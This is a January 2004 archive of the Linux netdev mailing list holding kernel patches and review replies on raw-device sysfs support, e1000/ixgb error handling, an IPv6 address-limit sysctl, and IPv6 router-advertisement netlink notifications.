Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FLBP6H009550 for ; Thu, 15 Jan 2004 13:11:25 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:38722 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AhElu-00034V-5E for netdev@oss.sgi.com; Thu, 15 Jan 2004 21:11:22 +0000 Message-ID: <400701EE.3060707@pobox.com> Date: Thu, 15 Jan 2004 16:11:10 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Netdev Subject: [Fwd: [PATCH] add sysfs class support for raw devices [06/10]] Content-Type: multipart/mixed; boundary="------------040007080600050907040103" X-archive-position: 2520 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 6796 Lines: 208 This is a multi-part message in MIME format. --------------040007080600050907040103 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Regarding the recent discussion on bonding/vlan/bridge/blah configuration... --------------040007080600050907040103 Content-Type: message/rfc822; name="[PATCH] add sysfs class support for raw devices [06/10]" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="[PATCH] add sysfs class support for raw devices [06/10]" Return-Path: Delivered-To: garzik@gtf.org Received: from majesty.pobox.com (majesty.pobox.com [208.210.124.70]) by havoc.gtf.org (Postfix) with ESMTP id BF2126644 for ; Thu, 15 Jan 2004 15:51:36 -0500 (EST) Received: from majesty.pobox.com (localhost [127.0.0.1]) by majesty.pobox.com (Postfix) with ESMTP id B481BE3D2 for ; Thu, 15 Jan 2004 15:51:36 -0500 (EST) Delivered-To: jgarzik@pobox.com Received: from colander (localhost [127.0.0.1]) by majesty.pobox.com (Postfix) with ESMTP id 25244E408 for ; Thu, 15 Jan 2004 15:51:36 -0500 (EST) Received: from vger.kernel.org (vger.kernel.org [67.72.78.212]) by majesty.pobox.com (Postfix) with ESMTP for ; Thu, 15 Jan 2004 15:51:33 -0500 (EST) Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S263101AbUAOUqO (ORCPT ); Thu, 15 Jan 2004 15:46:14 -0500 Received: (majordomo@vger.kernel.org) by vger.kernel.org id S263173AbUAOUoo (ORCPT ); Thu, 15 Jan 2004 15:44:44 -0500 Received: from mail.kroah.org ([65.200.24.183]:14299 "EHLO perch.kroah.org") by vger.kernel.org with ESMTP id S262795AbUAOUoF (ORCPT ); Thu, 15 Jan 2004 15:44:05 -0500 Received: from [9.47.21.222] (bi01p1.nc.us.ibm.com [129.33.49.251]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i0FKf0c16992; Thu, 15 Jan 2004 12:41:00 -0800 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1AhEK9-5my-00; Thu, 15 Jan 2004 12:42:41 -0800 Date: Thu, 15 Jan 2004 12:42:41 -0800 From: Greg KH To: Andrew Morton Cc: linux-kernel@vger.kernel.org, linux-hotplug-devel@lists.sourceforge.net Subject: [PATCH] add sysfs class support for raw devices [06/10] Message-ID: <20040115204241.GG22199@kroah.com> References: <20040115204048.GA22199@kroah.com> <20040115204111.GB22199@kroah.com> <20040115204125.GC22199@kroah.com> <20040115204138.GD22199@kroah.com> <20040115204153.GE22199@kroah.com> <20040115204209.GF22199@kroah.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040115204209.GF22199@kroah.com> User-Agent: Mutt/1.4.1i Sender: linux-kernel-owner@vger.kernel.org Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on havoc.gtf.org X-Spam-Status: No, hits=-3.2 required=7.0 tests=AWL,BAYES_00, REMOVE_REMOVAL_2WORD autolearn=no version=2.60 X-Spam-Level: This adds class/raw/ support for all raw devices. It also provides a symlink to the block device that the raw device is mapped to. For example: $ tree /sys/class/raw/ /sys/class/raw/ |-- raw1 | |-- dev | `-- device -> ../../../block/sda |-- raw2 | |-- dev | `-- device -> ../../../block/sda/sda2 `-- rawctl `-- dev Note, in order to get that symlink, I had to export get_gendisk() so that modules can use it. I hope this is ok with everyone. This is based on a patch originally written by Leann Ogasawara diff -Nru a/drivers/block/genhd.c b/drivers/block/genhd.c --- a/drivers/block/genhd.c Thu Jan 15 11:05:57 2004 +++ b/drivers/block/genhd.c Thu Jan 15 11:05:57 2004 @@ -224,6 +224,8 @@ return kobj ? to_disk(kobj) : NULL; } +EXPORT_SYMBOL(get_gendisk); + #ifdef CONFIG_PROC_FS /* iterator */ static void *part_start(struct seq_file *part, loff_t *pos) diff -Nru a/drivers/char/raw.c b/drivers/char/raw.c --- a/drivers/char/raw.c Thu Jan 15 11:05:47 2004 +++ b/drivers/char/raw.c Thu Jan 15 11:05:47 2004 @@ -17,6 +17,8 @@ #include #include #include +#include +#include #include @@ -25,6 +27,7 @@ int inuse; }; +static struct class_simple *raw_class; static struct raw_device_data raw_devices[MAX_RAW_MINORS]; static DECLARE_MUTEX(raw_mutex); static struct file_operations raw_ctl_fops; /* forward declaration */ @@ -119,6 +122,29 @@ return ioctl_by_bdev(bdev, command, arg); } +static void bind_device(struct raw_config_request rq) +{ + int part; + struct gendisk *gen; + struct class_device *dev; + struct kobject *target = NULL; + + gen = get_gendisk(MKDEV(rq.block_major, rq.block_minor), &part); + if (gen) { + if (part && gen->part[part]) + target = &gen->part[part]->kobj; + else + target = &gen->kobj; + } + + class_simple_device_remove(MKDEV(RAW_MAJOR, rq.raw_minor)); + dev = class_simple_device_add(raw_class, MKDEV(RAW_MAJOR, rq.raw_minor), + NULL, "raw%d", rq.raw_minor); + if (dev && target) { + sysfs_create_link(&dev->kobj, target, "device"); + } +} + /* * Deal with ioctls against the raw-device control interface, to bind * and unbind other raw devices. @@ -187,12 +213,15 @@ if (rq.block_major == 0 && rq.block_minor == 0) { /* unbind */ rawdev->binding = NULL; + class_simple_device_remove(MKDEV(RAW_MAJOR, rq.raw_minor)); } else { rawdev->binding = bdget(dev); if (rawdev->binding == NULL) err = -ENOMEM; - else + else { __module_get(THIS_MODULE); + bind_device(rq); + } } up(&raw_mutex); } else { @@ -262,6 +291,14 @@ int i; register_chrdev(RAW_MAJOR, "raw", &raw_fops); + + raw_class = class_simple_create(THIS_MODULE, "raw"); + if (IS_ERR(raw_class)) { + printk (KERN_ERR "Error creating raw class.\n"); + return PTR_ERR(raw_class); + } + class_simple_device_add(raw_class, MKDEV(RAW_MAJOR, 0), NULL, "rawctl"); + devfs_mk_cdev(MKDEV(RAW_MAJOR, 0), S_IFCHR | S_IRUGO | S_IWUGO, "raw/rawctl"); @@ -280,6 +317,8 @@ devfs_remove("raw/raw%d", i); devfs_remove("raw/rawctl"); devfs_remove("raw"); + class_simple_device_remove(MKDEV(RAW_MAJOR, 0)); + class_simple_destroy(raw_class); unregister_chrdev(RAW_MAJOR, "raw"); } - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ --------------040007080600050907040103-- From shemminger@osdl.org Thu Jan 15 13:59:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 13:59:47 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FLxY6H024474 for ; Thu, 15 Jan 2004 13:59:34 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0FLxKo00338; Thu, 15 Jan 2004 13:59:20 -0800 Date: Thu, 15 Jan 2004 13:59:20 -0800 From: Stephen Hemminger To: Jeb Cramer , "Feldman, Scott" , Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] e1000 -- handle register_netdev errors Message-Id: <20040115135920.75ab3f0b.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2521 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 717 Lines: 25 Patch against 2.6.1, but probably applies to 2.4 as well. E1000 driver was not handling failures of register_netdev diff -Nru a/drivers/net/e1000/e1000_main.c b/drivers/net/e1000/e1000_main.c --- a/drivers/net/e1000/e1000_main.c Thu Jan 15 13:59:07 2004 +++ b/drivers/net/e1000/e1000_main.c Thu Jan 15 13:59:07 2004 @@ -508,7 +508,9 @@ INIT_WORK(&adapter->tx_timeout_task, (void (*)(void *))e1000_tx_timeout_task, netdev); - register_netdev(netdev); + err = register_netdev(netdev); + if (err) + goto err_register; /* we're going to reset, so assume we have no link for now */ @@ -553,6 +555,7 @@ cards_found++; return 0; +err_register: err_sw_init: err_eeprom: iounmap(adapter->hw.hw_addr); From shemminger@osdl.org Thu Jan 15 14:03:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 14:03:13 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FM2x6H024913 for ; Thu, 15 Jan 2004 14:02:59 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0FM2mo01341; Thu, 15 Jan 2004 14:02:48 -0800 Date: Thu, 15 Jan 2004 14:02:48 -0800 From: Stephen Hemminger To: Ganesh Venkatesan , "Feldman, Scott" , Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] ixgb fixes Message-Id: <20040115140248.170a3ee3.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2522 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3121 Lines: 120 Ixgb driver in 2.6.1 (possibly 2.4) has several problems: * register_netdev error never handled * returns -ENOMEM for errors like bad eeprom etc * keeps copy of device name in the private data structure which is never used, and would be wrong anyway if the device was renamed. diff -Nru a/drivers/net/ixgb/ixgb.h b/drivers/net/ixgb/ixgb.h --- a/drivers/net/ixgb/ixgb.h Thu Jan 15 13:58:48 2004 +++ b/drivers/net/ixgb/ixgb.h Thu Jan 15 13:58:48 2004 @@ -179,7 +179,6 @@ struct ixgb_hw hw; struct ixgb_hw_stats stats; u32 pci_state[16]; - char ifname[IFNAMSIZ]; }; #endif /* _IXGB_H_ */ diff -Nru a/drivers/net/ixgb/ixgb_main.c b/drivers/net/ixgb/ixgb_main.c --- a/drivers/net/ixgb/ixgb_main.c Thu Jan 15 13:58:48 2004 +++ b/drivers/net/ixgb/ixgb_main.c Thu Jan 15 13:58:48 2004 @@ -299,28 +299,28 @@ unsigned long mmio_start; int mmio_len; int pci_using_dac; - int i; + int i, err; IXGB_DBG("ixgb_probe\n"); - if ((i = pci_enable_device(pdev))) { + if ((err = pci_enable_device(pdev))) { IXGB_ERR("pci_enable_device failed\n"); - return i; + goto err_out; } - if (!(i = pci_set_dma_mask(pdev, PCI_DMA_64BIT))) { + if (!(err = pci_set_dma_mask(pdev, PCI_DMA_64BIT))) { pci_using_dac = 1; } else { - if ((i = pci_set_dma_mask(pdev, PCI_DMA_32BIT))) { + if ((err = pci_set_dma_mask(pdev, PCI_DMA_32BIT))) { IXGB_ERR("No usable DMA configuration, aborting\n"); - return i; + goto err_out; } pci_using_dac = 0; } - if ((i = pci_request_regions(pdev, ixgb_driver_name))) { + if ((err = pci_request_regions(pdev, ixgb_driver_name))) { IXGB_ERR("Failed to reserve PCI I/O and Memory resources.\n"); - return i; + goto err_out; } pci_set_master(pdev); @@ -329,7 +329,8 @@ netdev = alloc_etherdev(sizeof (struct ixgb_adapter)); if (!netdev) { IXGB_ERR("Unable to allocate net_device struct\n"); - goto err_alloc_etherdev; + err = -ENOMEM; + goto err_out; } SET_MODULE_OWNER(netdev); @@ -345,8 +346,10 @@ mmio_len = pci_resource_len(pdev, BAR_0); adapter->hw.hw_addr = ioremap(mmio_start, mmio_len); - if (!adapter->hw.hw_addr) + if (!adapter->hw.hw_addr) { + err = -EIO; goto err_ioremap; + } for (i = BAR_1; i <= BAR_5; i++) { if (pci_resource_len(pdev, i) == 0) @@ -404,6 +407,7 @@ if (!ixgb_validate_eeprom_checksum(&adapter->hw)) { IXGB_DBG("Invalid EEPROM checksum.\n"); + err = -EIO; goto err_eeprom; } @@ -411,6 +415,7 @@ if (!is_valid_ether_addr(netdev->dev_addr)) { IXGB_DBG("Invalid MAC address in EEPROM.\n"); + err = -EIO; goto err_eeprom; } @@ -424,9 +429,9 @@ INIT_WORK(&adapter->tx_timeout_task, (void (*)(void *)) ixgb_tx_timeout_task, netdev); - register_netdev(netdev); - memcpy(adapter->ifname, netdev->name, IFNAMSIZ); - adapter->ifname[IFNAMSIZ - 1] = 0; + err = register_netdev(netdev); + if (err) + goto err_eeprom; /* we're going to reset, so assume we have no link for now */ @@ -447,8 +452,8 @@ err_ioremap: pci_release_regions(pdev); kfree(netdev); - err_alloc_etherdev: - return -ENOMEM; + err_out: + return err; } /** From davem@pizda.ninka.net Thu Jan 15 14:17:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 14:17:51 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FMHc6H025496 for ; Thu, 15 Jan 2004 14:17:38 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id OAA09624; Thu, 15 Jan 2004 14:10:17 -0800 Date: Thu, 15 Jan 2004 14:10:16 -0800 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: pekkas@netcore.fi, vnuorval@tcs.hut.fi, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPV6: added sysctl for maximum number of addresses Message-Id: <20040115141016.15277a53.davem@redhat.com> In-Reply-To: <20040116.003433.120676843.yoshfuji@linux-ipv6.org> References: <20040115.213014.133549139.yoshfuji@linux-ipv6.org> <20040116.003433.120676843.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2523 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 644 Lines: 15 On Fri, 16 Jan 2004 00:34:33 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > My point is the value becomes configurable. > "16" is consistent with current behavior. > I do not change the default value with this patch. > > If you think it is too small, feel free to submit a patch to increase > the default value. I agree with Yoshfuji-san, making it configurable and changing the default are two different decisions to make and thus two different changes to make. I will apply Yoshfuji's patch to make it configurable, and someone can submit the change to make the default different and we can discuss that. From xma@us.ibm.com Thu Jan 15 14:32:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 14:32:54 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FMWUNT001376 for ; Thu, 15 Jan 2004 14:32:36 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0FMVo6t201098; Thu, 15 Jan 2004 17:31:50 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0FMVnam144818; Thu, 15 Jan 2004 15:31:49 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification To: "David S. Miller" Cc: mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Thu, 15 Jan 2004 14:31:47 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/15/2004 15:31:48 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE48FDFE8E2288f9e8a93df938690918c08BBE48FDFE8E228" Content-Disposition: inline X-archive-position: 2524 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2713 Lines: 89 --0__=08BBE48FDFE8E2288f9e8a93df938690918c08BBE48FDFE8E228 Content-type: text/plain; charset=US-ASCII This patch is going to be used by SNMP for ipv6RouterAdvert Table. I will remove this Micro, and resubmit the patch. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 "David S. Miller" on 01/15/2004 12:52:52 AM To: mashirle@us.ltcfwd.linux.ibm.com cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Shirley Ma/Beaverton/IBM@IBMUS Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification On Wed, 14 Jan 2004 15:52:51 -0800 Shirley Ma wrote: > Once receiving a router advertisement message, > a netlink notification event will be created. > > This patch is against linux-2.6.1. This patch looks fine, except I can't see how RTM_GETRA is used anywhere. Even if it will be used by some future change, please remove it until that later change is made. So please either show where RTM_GETRA is used or regenerate the patch with that macro definition removed. Thanks. --0__=08BBE48FDFE8E2288f9e8a93df938690918c08BBE48FDFE8E228 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

This patch is going to be used by SNMP for ipv6RouterAdvert Table. I will remove this Micro, and resubmit the patch.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


To: mashirle@us.ltcfwd.linux.ibm.com
cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Shirley Ma/Beaverton/IBM@IBMUS
Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification


On Wed, 14 Jan 2004 15:52:51 -0800
Shirley Ma <mashirle@us.ibm.com> wrote:

> Once receiving a router advertisement message,
> a netlink notification event will be created.
>
> This patch is against linux-2.6.1.

This patch looks fine, except I can't see how RTM_GETRA is used anywhere.
Even if it will be used by some future change, please remove it until that
later change is made.

So please either show where RTM_GETRA is used or regenerate the patch with
that macro definition removed.

Thanks.


--0__=08BBE48FDFE8E2288f9e8a93df938690918c08BBE48FDFE8E228-- From shemminger@osdl.org Thu Jan 15 14:59:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 14:59:53 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FMxeNT003940 for ; Thu, 15 Jan 2004 14:59:40 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0FMxPo12346; Thu, 15 Jan 2004 14:59:25 -0800 Date: Thu, 15 Jan 2004 14:59:25 -0800 From: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com, chas williams , linux-atm-general@lists.sourceforge.net Subject: Re: [PATH] atm/clip device discovery on init not needed Message-Id: <20040115145925.54eaf01a.shemminger@osdl.org> In-Reply-To: <20040114164338.1f0d15e4.shemminger@osdl.org> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> <20040114164338.1f0d15e4.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2525 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 354 Lines: 13 Forgot to resulting unused declaration. diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Thu Jan 15 14:49:45 2004 +++ b/net/atm/clip.c Thu Jan 15 14:49:45 2004 @@ -731,8 +731,6 @@ static int atm_init_atmarp(struct atm_vcc *vcc) { - struct net_device *dev; - if (atmarpd) return -EADDRINUSE; if (start_timer) { start_timer = 0; From mashirle@us.ibm.com Thu Jan 15 15:05:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 15:05:21 -0800 (PST) Received: from linux2.suntekindustrial.com (wbar1.sjo1-4-4-004-065.sjo1.dsl-verizon.net [4.4.4.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FN53NT004385 for ; Thu, 15 Jan 2004 15:05:05 -0800 Received: from ibm-mxl (bi-02pt1.bluebird.ibm.com [129.42.208.182]) (authenticated bits=0) by linux2.suntekindustrial.com (8.12.8/8.12.8) with ESMTP id i0G0MtbO014073; Thu, 15 Jan 2004 16:22:57 -0800 From: Shirley Ma Organization: IBM Linux To: Shirley Ma , "David S. Miller" Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification Date: Thu, 15 Jan 2004 15:04:26 -0800 User-Agent: KMail/1.4.3 Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com References: In-Reply-To: MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_E30K9AMX4LJ7QOFCUIS2" Message-Id: <200401151504.26610.mashirle@us.ibm.com> X-archive-position: 2526 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 5010 Lines: 180 --------------Boundary-00=_E30K9AMX4LJ7QOFCUIS2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable > So please either show where RTM_GETRA is used or regenerate the patch w= ith > that macro definition removed. This is the new patch for 2.6.1.=20 Thanks Shirley Ma IBM Linux Technology Center --------------Boundary-00=_E30K9AMX4LJ7QOFCUIS2 Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.1-ipv6mib8.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.1-ipv6mib8.patch" diff -urN linux-2.6.1/include/linux/rtnetlink.h linux-2.6.1-ipv6mib8/include/linux/rtnetlink.h --- linux-2.6.1/include/linux/rtnetlink.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib8/include/linux/rtnetlink.h 2004-01-15 14:39:49.000000000 -0800 @@ -44,7 +44,9 @@ #define RTM_DELTFILTER (RTM_BASE+29) #define RTM_GETTFILTER (RTM_BASE+30) -#define RTM_MAX (RTM_BASE+31) +#define RTM_NEWRA (RTM_BASE+32) + +#define RTM_MAX (RTM_BASE+35) /* Generic structure for encapsulation of optional route information. @@ -441,6 +443,38 @@ }; /***************************************************************** + * Route Advertisement specific messages. + * ******/ + +/* struct iframsg + * passes router advertisement specific information + */ + +struct iframsg +{ + unsigned char ifra_family; + unsigned ifra_flags; + int ifra_index; +}; + +enum +{ + IFRA_UNSPEC, + IFRA_LMTU, + IFRA_CACHEINFO +}; + +/* max_adver_interval, min_adver_interval should be gotten from user level */ +struct ifra_cacheinfo { + __u32 hop_limit; + __u32 lifetime; + __u32 reachable_time; + __u32 retrans_time; +}; + +#define IFRA_MAX IFRA_CACHEINFO + +/***************************************************************** * Link layer specific messages. ****/ @@ -615,6 +649,8 @@ #define RTMGRP_DECnet_IFADDR 0x1000 #define RTMGRP_DECnet_ROUTE 0x4000 +#define RTMGRP_IPV6_IFRA 0x10000 + /* End of information exported to user level */ #ifdef __KERNEL__ diff -urN linux-2.6.1/include/net/ndisc.h linux-2.6.1-ipv6mib8/include/net/ndisc.h --- linux-2.6.1/include/net/ndisc.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib8/include/net/ndisc.h 2004-01-13 10:45:20.000000000 -0800 @@ -98,6 +98,10 @@ extern void igmp6_cleanup(void); +extern void inet6_ifra_notify(int event, + struct inet6_dev *idev, + struct ra_msg *ra_msg); + static inline struct neighbour * ndisc_get_neigh(struct net_device *dev, struct in6_addr *addr) { diff -urN linux-2.6.1/net/ipv6/addrconf.c linux-2.6.1-ipv6mib8/net/ipv6/addrconf.c --- linux-2.6.1/net/ipv6/addrconf.c 2004-01-08 23:00:03.000000000 -0800 +++ linux-2.6.1-ipv6mib8/net/ipv6/addrconf.c 2004-01-13 10:45:20.000000000 -0800 @@ -2802,6 +2802,62 @@ return skb->len; } +static int inet6_fill_ifra(struct sk_buff *skb, struct inet6_dev *idev, + struct ra_msg *ra_msg, u32 pid, u32 seq, int event) +{ + struct iframsg *ifra; + struct nlmsghdr *nlh; + unsigned char *b = skb->tail; + __u32 mtu = idev->dev->mtu; + struct ifra_cacheinfo ci; + + nlh = NLMSG_PUT(skb, pid, seq, event, sizeof(*ifra)); + + if (pid) + nlh->nlmsg_flags |= NLM_F_MULTI; + + ifra = NLMSG_DATA(nlh); + ifra->ifra_family = AF_INET6; + ifra->ifra_index = idev->dev->ifindex; + ifra->ifra_flags = idev->if_flags; + + RTA_PUT(skb, IFRA_LMTU, sizeof(mtu), &mtu); + + ci.hop_limit = ra_msg->icmph.icmp6_hop_limit; + ci.lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime); + ci.reachable_time = ntohl(ra_msg->reachable_time); + ci.retrans_time = ntohl(ra_msg->retrans_timer); + RTA_PUT(skb, IFRA_CACHEINFO, sizeof(ci), &ci); + + nlh->nlmsg_len = skb->tail - b; + return skb->len; + +nlmsg_failure: +rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +void inet6_ifra_notify(int event, struct inet6_dev *idev, + struct ra_msg *ra_msg) +{ + struct sk_buff *skb; + int size = NLMSG_SPACE(sizeof(struct iframsg)+128); + + skb = alloc_skb(size, GFP_ATOMIC); + if (!skb) { + netlink_set_err(rtnl, 0, RTMGRP_IPV6_IFRA, ENOBUFS); + return; + } + if (inet6_fill_ifra(skb, idev, ra_msg, 0, 0, event) < 0) { + kfree_skb(skb); + netlink_set_err(rtnl, 0, RTMGRP_IPV6_IFRA, EINVAL); + return; + } + NETLINK_CB(skb).dst_groups = RTMGRP_IPV6_IFRA; + netlink_broadcast(rtnl, skb, 0, RTMGRP_IPV6_IFRA, GFP_ATOMIC); +} + static struct rtnetlink_link inet6_rtnetlink_table[RTM_MAX - RTM_BASE + 1] = { [RTM_GETLINK - RTM_BASE] = { .dumpit = inet6_dump_ifinfo, }, [RTM_NEWADDR - RTM_BASE] = { .doit = inet6_rtm_newaddr, }, diff -urN linux-2.6.1/net/ipv6/ndisc.c linux-2.6.1-ipv6mib8/net/ipv6/ndisc.c --- linux-2.6.1/net/ipv6/ndisc.c 2004-01-08 22:59:44.000000000 -0800 +++ linux-2.6.1-ipv6mib8/net/ipv6/ndisc.c 2004-01-13 10:45:20.000000000 -0800 @@ -1190,6 +1190,7 @@ out: if (rt) dst_release(&rt->u.dst); + inet6_ifra_notify(RTM_NEWRA, in6_dev, ra_msg); in6_dev_put(in6_dev); } --------------Boundary-00=_E30K9AMX4LJ7QOFCUIS2-- From davem@pizda.ninka.net Thu Jan 15 15:07:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 15:07:59 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FN7iNT004794 